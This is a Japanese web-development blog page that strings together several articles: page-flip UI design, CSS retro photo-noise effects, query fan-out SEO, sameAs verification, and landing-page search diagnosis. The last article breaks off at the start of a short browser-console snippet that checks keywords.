はい。正しいアウトラインは検索エンジンにページ構造を伝える上で重要です。このツールを使えば、クローラーに適切な見出し階層を提示できるため、SEOの基礎強化に役立ちます。 Q. モバイルからも使えますか？ A. はい。スマートフォンやタブレットからもご利用いただけます。入力エリアにHTMLを貼り付けるだけで簡単にチェックできます。 Q. このツールでチェックできないことはありますか？ A. はい。見出し階層に加えて、閉じタグの過不足・リストの入れ子・id/class の重複・alt 欠落・charset や viewport の欠落までは検出します。一方でW3C準拠の完全な文法検証や、コントラスト比・キーボード操作といったアクセシビリティ全般の検証は行っていません。必要に応じて別のツールと併用するのがおすすめです。 まとめ HTMLアウトラインはSEOとアクセシビリティの基盤 初心者ほど構造エラーをしやすい CodeQuest HTML Outline Checker を使えば一瞬で確認できる Web制作の学習において「正しい型」を早い段階で身につけることは、長期的に大きな資産になります。ぜひ日々の練習に取り入れてみてください。 👉 HTML Outline Checkerはこちら 関連記事：CSSセレクター学習ツール 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 ### [本のようなページめくりUIを実装する方法](https://codequest.work/page-flip-book-ui/) 本をめくるような自然な操作感を持ったページめくりUI Webサイトで「本のようなページめくりUI」を見かけることは、以前より増えてきました。デジタルメニューやカタログ、資料ビューアなど、紙の体験に近いUIが求められる場面は意外と多くあります。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 一方で、実際に実装してみると次のような課題に直面しがちです。 ・動きが重たく見える・操作方法が分かりづらい・クリックとドラッグが混在して誤操作が起きる この記事では、そうした課題を避けつつ、本をめくるような自然な操作感を持ったページめくりUIを実装するための考え方を整理します。 完成形のUIは Smooth Page Motion と名付けました。 Smooth Page Motion とは Smooth Page Motion は、「ページをめくる」という行為をできるだけ直感的に再現することを目的にしたUIです。 特徴は次の通りです。 ・ページはドラッグ操作のみでめくれる・クリックではページが切り替わらない・上下どちらの角からでも自然にドラッグできる・動きが重たく見えないよう、軽さを重視している 特別な演出を追加するのではなく、操作設計とパラメータ調整によって体感を整えることを重視しています。 ページめくりUIで大切なのは「操作の迷いをなくすこと」 ページめくりUIで最も重要なのは、「どう動くか」よりも「どう触ればいいか」が直感的に伝わることです。 よくある失敗例として、 ・クリックしてもドラッグしてもページが変わる・どこを触ればいいのか分からない・操作ミスで意図しないページに移動してしまう といった状態があります。 Smooth Page Motion では、操作方法を明確に分離することで、この問題を避けています。 操作を分離するという設計 UIの操作は次のように役割を分けています。 ・ページ本体　ドラッグ操作のみ有効　クリックではページが切り替わらない ・下部のナビゲーションボタン　クリックで確実にページ送り この設計にすることで、 ・誤操作が起きにくい・初見でも操作を理解しやすい・タブレットやタッチ端末でも扱いやすい といったメリットが生まれます。 「触れる場所」と「操作の結果」を一対一で対応させることは、実務でも非常に重要な考え方です。 なぜ「ドラッグ操作」を中心にしたのか 本をめくるとき、人は無意識にページをつまんで動かします。クリックして瞬時に切り替わるよりも、ページが指に追従する感覚の方が、本の体験に近くなります。 そのため Smooth Page Motion では、 ・ドラッグ操作を主役にする・クリック操作は補助的に扱う という判断をしています。 これにより、ページをめくる行為そのものがUI体験の一部になります。 上下の角からめくれることの意味 実際の本では、必ずしも上の角だけを使うわけではありません。状況によっては、下の角からめくることもあります。 ページめくりUIでも同様に、 ・上の角・下の角 どちらからでもドラッグできるようにすることで、実際の本に近い操作感が生まれます。 これは見た目以上に、「触っていて気持ちいいUI」につながるポイントです。 フワッとした印象を作るための考え方 Smooth Page Motion では、CSSのイージングや派手なアニメーションは使っていません。 代わりに意識しているのは次の点です。 ・動きの時間を長くしすぎない・影を強く出しすぎない・紙の存在感をほんのり残す これらを組み合わせることで、「ゆっくり」ではなく「軽い」印象を作っています。 人は、重たいものは影が強く、動きが遅い軽いものは影が弱く、スッと動くという感覚を無意識に持っています。 その感覚に合わせて調整することが重要です。 こうした動きの時間やイージングをコードでどう指定するかは、CSSキーフレームアニメーション入門で基礎から解説しています。 コードについて この記事では、UIの設計意図や考え方にフォーカスして解説しています。 実際の実装コードや挙動については、CodePen にデモとしてまとめていますので、気になる方はそちらをご覧ください。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. まとめ 本のようなページめくりUIは、特別なアニメーション指定や複雑な演出がなくても実現できます。 大切なのは、 ・操作方法を迷わせないこと・触ったときの体感を意識すること・動きの「軽さ」を設計で作ること Smooth Page Motion は、そうした考え方をもとに作った一つの実例です。 ページめくりUIを検討している方の設計のヒントになれば幸いです。 めくり・フリップ系の動きをさらに作り込みたい方は、GSAPカードフリップ＆スタックアニメーションもどうぞ。カードを裏返す2パターンを実装コード付きで解説しています。 WEBカタログ制作のご依頼はこちら。 WEBカタログ参考ページ：RINIA 制作の費用、紙カタログとの使い分け、依頼先を選ぶときに確認しておきたい点はWEBカタログ制作の費用相場にまとめました。ページ単価の計算例つきで、16ページならいくらになるかがその場で分かります。 よくある質問（FAQ） Q. ページめくりUIとは？ Webページ上で本のようなめくり効果を再現するインタラクティブなUIです。turn.jsやStPageFlipなどのJavaScriptライブラリを使って実装でき、デジタルカタログ・ポートフォリオ・絵本アプリなどに活用されています。 Q. ページめくりUIはSEOに影響しますか？ JavaScriptで描画されるため、コンテンツがクローラーに正しく読み取られない可能性があります。noscriptタグでフォールバックコンテンツを提供するか、サーバーサイドレンダリングで対応してください。 次に作るUIモーション ページめくりUIが作れたら、同じ「触って気持ちが良い」を軸にした次のモーションに挑戦してみてください。当サイトの実装ガイドから、相性のよいものを厳選しました。 GSAPカードフリップ＆スタックアニメーション｜カードを裏返す2パターン CSSとJavaScriptで作る3Dカルーセル｜キーボード操作対応 iOS風「Liquid Glass」をWebで再現する方法 CSSアニメーションギャラリー｜100種類をコピペで使える無料ツール CSSキーフレームアニメーション入門 CSS実装テクニック集｜基礎からアニメーションまで体系まとめ ### [CSSだけで作る写真系UIノイズ｜レトロ感を自然に加えるドット表現](https://codequest.work/css-photo-ui-noise-retro/) レトロ感を自然に加えるドット表現の考え方 Webサイトで写真を使っていると、 ・綺麗すぎて無機質に見える・ストック写真感が抜けない・世界観がうまくまとまらない と感じることがあります。 そんなときに有効なのが、写真系UIノイズという考え方です。 この記事では、CSSだけで実装できる「四角ドットのUIノイズ」を例に、どんなUI効果があり、どんな印象を与えるのかを解説します。 ※ 実装コードはすべて CodePen で確認できるようにしています。 写真系UIノイズとは？ 写真系UIノイズとは、写真の上に 微細なパターン（ノイズ）を重ねるUI設計です。 目的は装飾ではありません。 写真のデジタル感を弱める 情報レイヤーをなじませる 世界観・トーンを整える といった 印象コントロールが主な役割です。 「気づいたら効いている」状態が理想です。 今回作ったUIノイズの特徴 今回のCodePenでは、次のような設定を採用しています。 四角ドット（１px） 規則的なグリッド グレー（わずかに暖色寄り） 非常に弱い不透明度 この組み合わせにより、８０〜９０年代初期デジタル寄りのレトロ感を作っています。 なぜレトロに見えるのか？ このUIノイズがレトロに感じられる理由は、主に３つあります。 １．低解像度の記憶を刺激する 細かいドットや規則的な格子は、初期ディスプレイや古いデジタル表現を連想させます。 ２．「完璧じゃない」感じを作っている ドットをわずかにズラすことで、現代的な完全整列UIから外れた印象になります。 この不完全さが、懐かしさや味として認識されます。 ３．写真自体も少し褪せさせている ノイズだけを足すのではなく、写真側もわずかに彩度とコントラストを落とすことで、全体の時代感を揃えています。 どんな場面で使うと効果的？ 向いているケース ヒーロービジュアル ブランドサイト 世界観重視のLP クリエイティブ・ポートフォリオ 向いていないケース 記事本文の背景 管理画面 情報可読性が最優先のUI 写真系UIノイズは、主役ではなく脇役として使うのがポイントです。 写真素材から被写体だけを抜き出してUIに載せたいときは、ブラウザ完結のAI背景透過ツールで背景を消してから加工するとスムーズです。 実装はCodePenで確認できます 今回紹介したUIノイズは、すべて CSSのみで実装しています。 画像不要 解像度非依存 パフォーマンスへの影響なし コードは以下の CodePen で確認・編集できます。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. CodePen上で・ドットサイズ・間隔・不透明度 を少しずつ調整すると、印象がどのように変わるかがよく分かります。 まとめ 写真系UIノイズは、 「写真を目立たせるための装飾」ではなく写真を“目立ちすぎない状態”に整えるUI設計です。 CSSだけで実装でき、印象を細かくコントロールできるため、 「写真が強すぎる」「世界観がまとまらない」 と感じたときの選択肢として、さらに進んだ表現としては、 hoverでノイズを出すGSAPで微妙に動くノイズ表現なども可能です。 ぜひ試してみてください。 よくある質問（FAQ） Q. CSSでノイズ・レトロ効果を加える方法は？ SVGフィルターのfeTurbulenceでノイズパターンを生成し、CSS filterで要素に適用します。また、background-imageにノイズテクスチャ画像をrepeatで敷き詰め、mix-blend-modeでオーバーレイすることで、写真にフィルム粒子のようなレトロ感を加えられます。opacityで効果の強さを調整してください。 Q. CSSのmix-blend-modeの主な使い方は？ mix-blend-modeは要素と背景の色をブレンド（合成）するCSSプロパティです。multiplyで暗く合成、screenで明るく合成、overlayでコントラスト強調、differenceで色反転効果が得られます。写真にカラーオーバーレイをかけたり、テキストと背景画像を馴染ませる演出に効果的です。 ### [クエリファンアウトとは？AI検索時代のSEO設計完全ガイド](https://codequest.work/query-fan-out-seo-guide/) 「検索1位なのにクリックされない」「記事を書いても読まれない」──そんな違和感を覚えたことはありませんか？ それは気のせいではありません。検索エンジンの仕組みそのものが、根本から変わり始めています。 GoogleのAI OverviewやChatGPT、Geminiなどの台頭により、検索結果画面は「答えを探す場所」から「答えが表示される場所」へと進化しました。ユーザーはリンクをクリックせずに情報を得る「ゼロクリック検索」が当たり前になりつつあります。 クエリファンアウト（query fan-out）とは、AI検索がユーザーの1つの質問を複数のサブクエリに分解し、多方向に同時検索して答えを合成する仕組みのことです。Google I/O 2025で発表されたAIモードの中核技術としてGoogle公式ブログでも解説されており、SEOの評価軸は「キーワード単体」から「テーマ全体の網羅性」へと大きくシフトしました。 この記事では、AI検索時代に求められるSEOの全体像を、ゼロクリック対策・クエリファンアウト・LP SEO・構造化データ・WordPress実務まで、包括的に解説します。 1. 検索の「違和感」の正体──ゼロクリック時代の到来 検索1位でもクリックされない現実 狙ったキーワードで検索1位を獲得しても、CTR（クリック率）が1％未満というケースが増えています。Search Consoleで「表示回数」は多いのに「クリック数」がほぼゼロ──これは珍しい現象ではなくなりました。 原因は、Googleの検索結果ページ（SERP）そのものの変化にあります。 AI Overviewが検索結果の最上部で「答え」を直接表示する 「他の人はこちらも検索」などの補足情報がスクロール領域を占拠する リッチスニペット・ナレッジパネル・動画カルーセルが目立つ位置を独占する 広告枠の拡大により、オーガニック結果がさらに下に押しやられる ユーザーの視線は「10個の青いリンク」ではなく、即答コンテンツやビジュアル要素に吸い寄せられるようになっています。 検索行動そのものが変わった 従来の検索行動は「キーワード検索 → 複数記事を読む → 比較して判断」という流れでした。しかし現在は大きく異なります。 検索結果の上部に表示された「答え」を見て終了する ChatGPTやGeminiなどのAIに直接質問して済ませる SNSやYouTubeで情報を収集し、検索エンジンを使わない この変化は、個人ブログや小規模メディアにとって特に深刻です。「読まれない」ことは収益や継続意欲に直結する問題だからです。 SEOは「終わった」のか？ 結論から言えば、SEOは終わっていません。ただし、「今までのSEOのやり方」が通用しなくなっているのは事実です。 順位が上がっても読まれない キーワードを狙っても意図通りの評価にならない コンテンツ量を増やしても検索流入が伸びない 私たちは今、検索の「過渡期」に立っています。検索順位に頼るだけの発信は確実に先細りしていきます。重要なのは、この変化の本質を理解し、新しい戦略に適応することです。 2. クエリファンアウトとは？──AIが検索を「分解」する仕組み Googleがクエリを多方向に展開する 「レンタルサーバー 選び方」と検索したとき、従来はそのキーワード単体で記事が評価されていました。しかし今のAI検索は、内部で複数のサブクエリに分解して同時に検索します。 初心者向けレンタルサーバーは？ 料金相場はどのくらい？ おすすめ3社の比較 よくある失敗例は？ WordPressに強いサーバーはどれ？ セキュリティの違いは？ ユーザーは一度しか検索していませんが、AIは「疑問セット」として多方向から情報を収集しているのです。 SEO評価が「点」から「面」に変わった クエリファンアウトの導入により、評価軸が根本的に変わりました。 旧：キーワード単体で記事を評価 新：そのテーマ全体を理解しているかで評価 つまり、広く深い内容を持つ記事ほど上位に入りやすい構造になっています。1つのキーワードだけに答える薄い記事は、AI検索時代では評価されにくくなっています。 3. AIが生成するサブクエリの5つのパターン Googleが内部で生成するサブクエリにはパターンがあります。これを理解すると「何を書けばよいか」が明確になります。 比較クエリ 「A vs B」「どちらがおすすめ？」「メリット・デメリット」など、選択肢を比較する疑問です。比較表を含む記事が強いのは、このサブクエリに直接応えているからです。 暗黙のクエリ ユーザーが明示的には検索していないが、本当は知りたい項目です。注意点・失敗例・判断基準・リスクなど、「言葉にしていない疑問」をAIが推測して検索します。 費用・相場クエリ ほぼすべてのテーマに存在する「コスト」に関する疑問です。具体的な金額や料金比較を含む記事は、このサブクエリに強く応答します。 エンティティクエリ 特定のブランド名・人物名・サービス名を追加して検索するパターンです。「SEO会社 評判」と検索すると、AIは「○○会社 評判」「○○会社 実績」など、具体的な固有名詞を含むサブクエリを生成します。 連鎖クエリ AIは「2回目・3回目の検索」まで想定して答えを構築します。ユーザーが次に検索しそうな疑問を先回りして拾うため、関連トピックまで触れている記事が有利になります。 4. クエリファンアウト時代のコンテンツ設計3原則 原則1：「1キーワード＝1記事」から「1テーマ＝1記事」へ AIが複数クエリを同時に評価するため、1つの疑問しか扱わない記事は評価されにくくなっています。必要なのはキーワードではなく「テーマ」を軸にした設計です。 たとえば「SNSとHPのリンク効果」というテーマなら、周辺の疑問（サブクエリ）は10〜20個存在します。その束をまとめた記事が、クエリファンアウト時代に強くなります。 原則2：Know / Do / Buy を1記事でカバーする 検索意図は大きく3つに分類されます。これらを1記事内で網羅することが、クエリファンアウト対策の基本です。 Know（知りたい）：基礎知識・背景・仕組み Do（やりたい）：手順・実装方法・設定方法 Buy（選びたい）：比較・判断基準・おすすめ 原則3：H2/H3はサブクエリの整理で決める 見出し構成をサブクエリベースで設計します。以下の要素が入っていれば、クエリファンアウト対応としては80％完成です。 比較（A vs B、メリット・デメリット） 注意点・リスク 判断基準・選び方 失敗例・よくある間違い 費用・コスト FAQ（よくある質問） ケース別の最適解 5. ゼロクリック時代のSEO実践テクニック10選 AI検索やゼロクリック検索が増えた今でも、SEOで成果を出すための具体的なテクニックを紹介します。ランディングページ（LP）のような1ページ完結型でも有効な手法です。 1. タイトルとメタ情報の最適化 AI Overviewの下に表示されるオーガニック結果で選ばれるには、titleタグとmeta descriptionの訴求力がこれまで以上に重要です。答えを見た上で「もっと詳しく知りたい」と思わせる表現が求められます。 2. 見出し構成の論理的な整理 H1は1つ、H2・H3でセクションを整理し、アウトラインだけで記事の全体像がわかる構造にします。AIがサブクエリと見出しを照合する際に、論理的な構造は強い武器になります。 3. ロングテールキーワードの自然な配置 ターゲットキーワードだけでなく関連語を自然に散りばめます。クエリファンアウトはロングテールと相性が良く、テーマクラスタとしてまとめて拾う戦略が有効です。 4. ファーストビューの改善（LCP対策） メインビジュアルの読み込み速度を改善し、LCP（Largest Contentful Paint）を最適化します。初速表示の速さはSEOにもUXにも直結します。 5. コンテンツの深さを確保する 「よくある質問」「事例紹介」「比較表」などを追加し、1ページ内で情報が完結する構成を目指します。クエリファンアウト時代には「浅く広く」ではなく「深く広く」が求められます。 6. Schema.orgで構造化データを実装する FAQPage・Articleなどの構造化データを追加します。AIは構造化された情報を優先的に引用するため、AI Overviewへの採用確率が高まります。なおFAQとHowToのリッチリザルトはGoogle検索から廃止済みのため、狙いは検索結果の装飾ではなく機械可読性の確保です。 7. 内部リンクで「意図の面」を作る 親記事 → 子記事 → 関連記事というクラスター型構造を構築します。ドメイン全体での評価を高め、クエリファンアウトに対する網羅性をサイト単位で実現します。 8. ページスピードの徹底最適化 画像のWebP化・遅延読み込み・JavaScriptの軽量化・CSSのクリティカルパス最適化など、Core Web Vitalsの全指標を改善します。表示速度はランキング要因であり続けています。 9. モバイルファースト対応 モバイルでの読みやすさを最優先に設計します。ボタンサイズ・余白・フォントサイズを見直し、スマートフォンで快適に読める体験を提供します。 10. 検索以外の流入経路を確保する SNSシェア・メールマガジン・コミュニティなど、検索エンジン以外からのトラフィックも重要です。多様な流入経路は被リンク獲得やブランド検索の増加にもつながり、結果としてSEO評価を底上げします。 6. 構造化データ（JSON-LD）がAI検索で重要な理由 AIは「構造化された答え」を優先的に引用する AI検索は、自然文よりも構造化データで明示された情報を正確に理解します。特にFAQPage・Articleスキーマは、AI検索の回答として引用されやすい形式です。 FAQPageスキーマが効果的な理由 クエリファンアウトの「暗黙のクエリ」（注意点・失敗例・判断基準）にQ&A形式で直接応答できるからです。AIが「この記事にはユーザーの疑問への答えがある」と認識しやすくなります。 Article・Person・Organizationで信頼性を伝える これらの構造化データを正しく実装すると、AIに対して以下が明確に伝わります。 どのような記事か（Article） 誰が書いたか（Person） どの組織が運営しているか（Organization） E-E-A-T（経験・専門性・権威性・信頼性）の裏付けとなり、サブクエリ評価の精度向上に貢献します。 比較情報は構造化との相性が抜群 比較表やメリット・デメリットの情報はAIが理解しやすく、回答に引用されやすい傾向があります。テーブルやリスト形式で整理し、構造化データと組み合わせることで効果が最大化します。 ここまでの構造化データ・メタタグ・見出し構造がAI検索に対応できているかは、Direbase（無料SEO診断ツール）でURLを入力するだけで確認できます。 Direbaseで無料SEO診断を試す → 7. クエリファンアウト × ロングテール戦略の新常識 「キーワード分割」から「テーマクラスタ」へ 従来のロングテール戦略は「キーワードを細分化して記事を量産する」手法でした。しかしクエリファンアウト時代のロングテールは、テーマごとに疑問セットを網羅するアプローチに変わっています。 旧：キーワードを細分化して記事を量産 新：1記事で複数のサブクエリを同時に拾う（AI評価方式） 内部リンクで「意図の面」を構築する 親記事（ピラーコンテンツ）→ 子記事（クラスターコンテンツ）→ 関連記事というクラスター型リンク構造は、クエリファンアウトと非常に相性が良い設計です。サイト全体で検索意図の「面」をカバーできます。 ### [sameAsとは？SNSとサイトの紐づけを自分で検証する手順](https://codequest.work/sns-hp-link-entity/) SNSのプロフィールに自分のサイトURLを置き、サイト側からもSNSへリンクする。この「つなぎ方」がGoogleにどう伝わるのかを、構造化データの sameAs という1つのプロパティに絞って整理します。 sameAs とは、あるSNSプロフィールや外部ページが、自分のサイトと同じ主体（同じ人・同じ組織）を指していることをGoogleに伝えるための、構造化データのプロパティです。schema.org の定義は「その項目の同一性を明確に示す参照WebページのURL」であり、検索順位を上げるための仕組みではありません。 この記事は、Googleが公式ドキュメントで実際に明言している範囲だけを扱います。そのうえで、自分のサイトで sameAs が本当に出力されているか、書いたURLが生きているか、SNS側と双方向になっているかを、curl 4本で合否まで出す手順を用意しました。所要は5分ほどです。 なお、この記事では構造化データの実装コードそのものは掲載しません。書式は公式ドキュメントに正確なサンプルが載っており、仕様が更新されたときに古い写しだけが残るのを避けるためです。ここで扱うのは「何を書くか（項目）」と「書いたものが実際に効いているかをどう確かめるか（検証）」の2つです。 sameAsとは何か｜SNSとサイトを「同じ主体」だと伝えるプロパティ sameAs は schema.org が定義している汎用のプロパティで、Thing（schema.org が扱うあらゆる項目）に対して使えます。定義は次のとおりです。 URL of a reference Web page that unambiguously indicates the item's identity. E.g. the URL of the item's Wikipedia page, Wikidata entry, or official website.（その項目の同一性を明確に示す参照WebページのURL。例えば、その項目のWikipediaページ、Wikidataのエントリ、公式サイトのURL） schema.org「sameAs」 ここに書かれているのは「同一性（identity）を明確に示す」までです。集客でも、リンクの評価でもありません。出典は schema.org のプロパティ定義ページ（2026-08-02取得）です。 Googleのドキュメントでの位置づけ Google 検索セントラルの Organization 構造化データのドキュメントでは、sameAs はこう説明されています。 The URL of a page on another website with additional information about your organization, if applicable. For example, a URL to your organization's profile page on a social media or review site. You can provide multiple sameAs URLs.（該当する場合、自分の組織に関する追加情報を掲載した別サイト上のページのURL。例えば、SNSやレビューサイト上にある組織のプロフィールページのURL。sameAs のURLは複数指定できます） Google 検索セントラル「Organization (Organization) structured data」 「重要な要素です」とも「評価が上がります」とも書かれていません。ドキュメント冒頭にある効能の説明も、次の1文だけです。 Adding organization structured data to your home page can help Google better understand your organization's administrative details and disambiguate your organization in search results.（トップページに組織の構造化データを追加すると、Googleが組織の管理情報をより正確に理解し、検索結果であなたの組織を他と区別しやすくなります） Google 検索セントラル「Organization (Organization) structured data」 鍵になる語は disambiguate（曖昧性の解消） です。同名の別組織や別人と取り違えられないようにする、という識別の話であって、順位の話ではありません。sameAs に期待してよい上限は、公式ドキュメントの言葉でいえばここまでです。出典は Google 検索セントラルの Organization ドキュメント（2026-08-02取得・英語版）です。 「リンクの評価」とは別のレイヤーにある SNSプロフィールに置いたサイトURLには、多くの場合 nofollow が付きます（後述の実測どおりです）。ここから「nofollow だから無意味」と説明されることがありますが、2点で不正確です。 Googleは2019年9月10日以降、nofollow を含む rel 属性を「命令」ではなく「ヒント（hint）」として扱っている。「効果がゼロ」と断定はできない sameAs はHTMLのリンクではなく構造化データのプロパティであり、そもそもリンク評価とは別の層にある。nofollow が付くかどうかと sameAs が機能するかどうかは、独立した話 Googleの原文は「All the link attributes—sponsored, ugc, and nofollow—are treated as hints about which links to consider or exclude within Search.（sponsored・ugc・nofollow というリンク属性はすべて、検索においてどのリンクを考慮するか除外するかについての"ヒント"として扱われます）」です。クロールとインデックスの用途についても2020年3月1日からヒント扱いになりました。出典は Google 検索セントラル ブログ「Evolving nofollow」（2019年9月10日付）（2026-08-02取得）です。 nofollow・ugc・sponsored・noreferrer の使い分けそのものは nofollowとは？dofollow・noreferrer・sponsoredとの違い にまとめてあります。この記事では「rel 値は自分では変えられない前提で、サイト側で何を宣言するか」に話を絞ります。 Googleが公式に言っていること／言っていないこと sameAs の解説記事は多いのですが、公式が書いている範囲と、書き手が補った推測が混ざっていることがよくあります。線を引いておきます。 論点Googleのドキュメントに書かれているか組織の識別（disambiguate）を助ける書かれている（Organization）必須プロパティは1つも無く、すべて推奨書かれている（Organization）置き場所はトップか組織説明ページ1枚でよい書かれている（Organization）著者の識別には sameAs と url のどちらも使える書かれている（Article）SNSプロフィールはGoogleが自動的に検出する書かれている（更新履歴 2020年5月11日）sameAs を設定すると検索順位が上がる書かれていないsameAs を増やすほど評価が積み上がる書かれていないsameAs でナレッジパネルのSNS欄を制御できる書かれていない（自動検出だと明記）エンティティ単位の評価という仕組みがある書かれていない 公式が言っている3点 1つ目は前章の disambiguate です。2つ目は、Organization には必須プロパティが存在しないことです。 There are no required properties; instead, we recommend adding as many properties that are relevant to your organization.（必須のプロパティはありません。代わりに、自分の組織に関係するプロパティをできるだけ多く追加することを推奨します） Google 検索セントラル「Organization (Organization) structured data」 3つ目は置き場所です。ここは実装でいちばん誤解されている箇所なので、原文をそのまま引きます。 We recommend placing this information on your home page, or a single page that describes your organization, for example the about us page. You don't need to include it on every page of your site.（この情報はトップページ、または組織を説明する単一のページ（例えば会社概要ページ）に置くことを推奨します。サイトのすべてのページに含める必要はありません） Google 検索セントラル「Organization (Organization) structured data」 公式が言っていない4点 次の4つは、日本語の解説でよく見かけますが、Google 検索セントラルのドキュメントに対応する記述が見当たりません。 sameAs を設定すると検索順位が上がる sameAs に並べるURLを増やすほど評価が積み上がる sameAs を書くとナレッジパネルにSNS欄が出る Googleには「エンティティ単位の評価」という仕組みがある 「書かれていない＝間違い」と決めつけるのは行き過ぎですが、効果を測れない主張を根拠に工数を積むのは実務上まずい判断です。sameAs は設定コストが小さいので入れる価値はありますが、期待値は「識別の補助」に据えたほうが、あとで施策の評価に困りません。 2019年に終わったこと｜Social Profile構造化データの非推奨 かつてGoogleには Social Profile 構造化データという専用の仕様があり、ナレッジパネルに表示するSNSアカウントをマークアップで指定できました。これは2019年6月に非推奨となり、2020年5月11日に公式ドキュメントから削除されています。 Removed the following documentation that has been deprecated since June 2019: Social Profile structured data: We now automatically discover social profiles to include in Google knowledge panels. If you're verified as an official representative, you can suggest a change directly.（2019年6月から非推奨となっていた以下のドキュメントを削除しました。Social Profile 構造化データ：Googleのナレッジパネルに含めるSNSプロフィールは、現在は自動的に検出しています。公式の代表者として確認済みであれば、変更を直接提案できます） Google 検索セントラル ドキュメント更新履歴 2020年5月11日 同じ日に Corporate Contact 構造化データも同じ理由で削除されました。 ### [LPが検索に出ない原因の特定手順｜HTMLとSearch Consoleで診断](https://codequest.work/lp-seo-ad/) LP（ランディングページ）を公開したのに、社名やサービス名で検索しても出てこない。原因を「1ページしかないから」だと考えて、ページを増やす方向に走ってしまうケースが多くあります。 ただ、ページを増やす前に確かめるべきことが3つあります。しかもその3つは、自分のブラウザとSearch Consoleだけで数分あれば数値として判定できます。 LPが検索に出ない主な原因は「1ページだから」ではありません。①HTMLにテキストとして本文が入っていない ②狙うクエリの語が見出しに1つも無い ③そのページへ入ってくるリンクが無い、の3つです。この記事では、この3つを自分の手元で判定する手順と、外れたときの直し方を扱います。 扱うのは「すでに作ったLPが検索に出ない」という状態です。これから作る段階で「LP型かマルチページ型か」を決めたい場合は別記事にまとめています。 LPの「広義」と「狭義」｜この記事が扱うのはどちらか LPという言葉は、計測の文脈と制作の文脈で指すものが違います。診断に入る前に、どちらの話をしているかを固定しておきます。 広義のLP＝セッションで最初に着地したページ アクセス解析でいうLPはこちらです。GA4のデータAPIでは、ディメンション landingPage が「The page path associated with the first pageview in a session（セッション内で最初のページビューに対応するページパス）」と定義されています（出典: Google Analytics Data API のスキーマ一覧・2026年8月2日取得）。ブログ記事も商品ページも、最初に着地すれば広義のLPです。 狭義のLP＝1ページ完結のセールスページ 制作の現場でLPと言えばこちらです。1ページで説明が完結し、申し込み・購入・問い合わせという1つの行動に絞って構成されたページを指します。 呼び方何を指すか判定に使う道具広義のLPセッションで最初に着地したページ全般GA4の landingPage ディメンション狭義のLP1ページ完結・1アクション特化のセールスページこの記事の診断手順 この記事が扱うのは、後者の「狭義のLPを作ったが検索に出ない」ケースです。そもそもLP型で作るべきかマルチページ型で作るべきかという設計判断は、ランディングページとマルチページの違いで扱っているので、作る前の段階ならそちらを先に読んでください。ここでは深追いしません。 「LPはSEOに弱い」という通説を、公式ドキュメントで検算する 診断に入る前に、通説を先に外しておきます。ここを外さないと「文字を足す」「ページを増やす」という、効かない方向へ時間を使うことになるからです。以下の引用はすべてGoogleの公式ドキュメントの英語版から、2026年8月2日に取得したものです。 通説1「情報量が少ないから弱い」｜分量は基準ではない Google検索セントラルの有用で信頼性の高い、ユーザー第一のコンテンツの作成（英語版）には、自己評価用の質問として次の一文があります。 Are you writing to a particular word count because you've heard or read that Google has a preferred word count? (No, we don't.) Google検索セントラル「Creating Helpful, Reliable, People-First Content」 「Googleが好む文字数があると聞いたので、その文字数に合わせて書いていませんか（そんなものはありません）」という意味です。同じページには「Does the content provide a substantial, complete, or comprehensive description of the topic?（その話題について十分で、抜けがなく、網羅的な説明ができているか）」という質問もあります。問われているのは字数ではなく、扱うと決めた話題を説明しきっているかです。 したがって「LPは文字が少ないからSEOに弱い」は成立しません。LPが答えると宣言した問いに、そのページ内で答えきれているかどうかが論点です。 通説2「LPは孤立するのでE-E-A-Tが育たない」｜E-E-A-Tはランキング要因ではない 同じドキュメントに、次の記述があります。 While E-E-A-T itself isn't a specific ranking factor, using a mix of factors that can identify content with good E-E-A-T is useful. Google検索セントラル「Creating Helpful, Reliable, People-First Content」 「E-E-A-Tそのものは特定のランキング要因ではない」と明記されています。E-E-A-Tはスコアとして積み上がる数値ではないので、「LPを作るとE-E-A-Tが下がる」「内部リンクでE-E-A-Tを育てる」という言い方には根拠がありません。この理由づけを使っている限り、直すべき場所が見えないままになります。 では孤立したLPが弱いのはなぜか｜理由は「発見経路」 結論そのものは救えます。ただし理由は権威性ではなく、単純にGoogleがそのページを見つける経路の問題です。SEOスターターガイド（英語版）にはこう書かれています。 In fact, the vast majority of the new pages Google finds every day are through links, making links a crucial resource you need to consider to help your pages be discovered by Google. Google検索セントラル「SEO Starter Guide: The Basics」 「Googleが毎日見つける新しいページの大半はリンク経由である」という記述です。同じガイドには「Google primarily finds pages through links from other pages it already crawled（Googleは主に、すでにクロール済みの他のページからのリンクでページを見つける）」ともあります。 つまり孤立したLPが弱いのは、専門性が育たないからではなく見つけてもらう経路が無いからです。これはページを増やさなくても、既存ページから本文リンクを1本張れば解ける問題です。 やってはいけない回避策｜クエリ違いのLPを量産する 「キーワードごとにLPを作る」という進め方は、検索順位を取る目的で持ち込むと危険です。Google検索のスパムに関するポリシー（英語版）には、次のように定義されています。 Doorway abuse is when sites or pages are created to rank for specific, similar search queries. Google検索セントラル「Spam Policies for Google Web Search」 そして具体例として「Having multiple domain names or pages targeted at specific regions or cities that funnel users to one page（特定の地域や都市を狙った複数のドメインやページを用意し、ユーザーを1つのページに送る）」が挙げられています。テンプレートの地名や商材名だけを差し替えたLPを増やし、同じ申込フォームへ流す形は、この例そのものです。 広告運用では「意図ごとに遷移先を分ける」という考え方が長く使われてきましたが、それは広告の配信設計の話です。検索結果の順位を取る目的でページを量産すると、ポリシー違反として扱われる領域に入ります。 通説と公式記述の対応よく言われる理由公式ドキュメントの記述実際に効く対処情報量が少ないから弱い好む文字数は無いと明記宣言した問いに答えきる孤立するとE-E-A-Tが育たないE-E-A-Tはランキング要因ではないと明記理由づけを発見経路に置き換えるキーワードの幅が狭いクエリ違いのページ量産はドアウェイの例1枚に対して狙う語を1つに絞る内部リンクが弱い新規ページの大半はリンク経由で発見される既存ページから本文リンクを1本張る 【実測】自分のLPを3分で診断する 通説を外すと、手元で確かめられる論点は2つに絞られます。HTMLにテキストとして本文が入っているかと、狙うクエリの語が見出しにあるかです。どちらもブラウザのコンソールで数値として出ます。 手順｜LPを開いてコンソールに貼り付ける 診断したいLPをChromeで開く F12（macOSは Option + Command + I）でDevToolsを開き、Consoleタブを選ぶ 1行目の狙う語を自分のLPに合わせて書き換え、全体を貼り付けてEnter const KW = ['ランディングページ', '制作']; const strip = (d) => 